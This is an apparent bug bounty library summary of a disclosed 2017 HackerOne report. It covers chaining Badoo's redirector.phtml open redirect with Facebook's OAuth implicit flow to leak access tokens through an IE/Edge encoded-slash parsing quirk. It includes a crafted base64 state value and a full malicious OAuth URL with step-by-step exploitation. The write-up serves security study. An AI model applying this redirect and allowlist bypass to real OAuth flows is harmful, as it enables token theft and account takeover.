# Open redirect helps to steal Facebook access_token

Badoo's redirector.phtml open redirect plus Facebook's redirect_uri handling leaked OAuth access_token in URL fragment to attacker-controlled domain via IE/Edge URL parsing.

- Payout: hidden
- Severity: high
- Program: Bumble
- Found by: stefanovettorazzi
- Disclosed: 2017-08-31
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/99435
- Library page: https://bugbountylibrary.com/r/h1%3A99435
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:high tech:oauth technique:chained technique:parser-differential vuln:auth-bypass vuln:open-redirect

**Target:** OAuth redirect endpoint /external/redirector.phtml
**Root cause:** redirector.phtml base64-decodes the state param into a redirect URL and only blocks plain external URLs; a URL like http://google.com%2f.badoo.com/ passes validation but IE/Edge parse it as host google.com. Facebook forwards the access_token in the fragment to the redirect_uri even when it contains query params.
**Steps:**
1. Craft state = base64('https://www.google.com%2f.badoo.com/')
2. Send victim to `https://www.facebook.com/v2.2/dialog/oauth?response_type=token&display=popup&client_id=107433747809&redirect_uri=https%3A%2F%2Fbadoo.com%2Fexternal%2Fredirector.phtml%3fstate%3daHR0cHM6Ly93d3cuZ29vZ2xlLmNvbSUyZi5iYWRvby5jb20v`
3. Facebook redirects to redirector.phtml?state=... which redirects to https://www.google.com/.badoo.com/#access_token=[token]&expires_in=[n]
4. On IE11/Edge the browser resolves host as google.com, sending the fragment (with token) to attacker
**How found:** Noticed redirector.phtml accepts base64 state URLs and that validation only rejects plain external URLs; tested parser differential where http://google.com%2f.badoo.com/ is treated as badoo.com by the validator but as google.com by IE/Edge. Also observed Facebook preserves query params in redirect_uri unlike Google.
**Exploitation:** Attacker lures a Facebook-linked Badoo user to the crafted Facebook OAuth URL; the token lands in the URL fragment on an attacker-controlled host, allowing account takeover of the linked Facebook identity.
**Escalation:** Chained open redirect with Facebook OAuth implicit flow to exfiltrate access_token, escalating to account takeover.
**Insight:** OAuth redirect_uri validators that allow query strings can be abused when the redirect target itself is an open redirect; combine with browser parser differentials (encoded slash) to bypass host allowlists.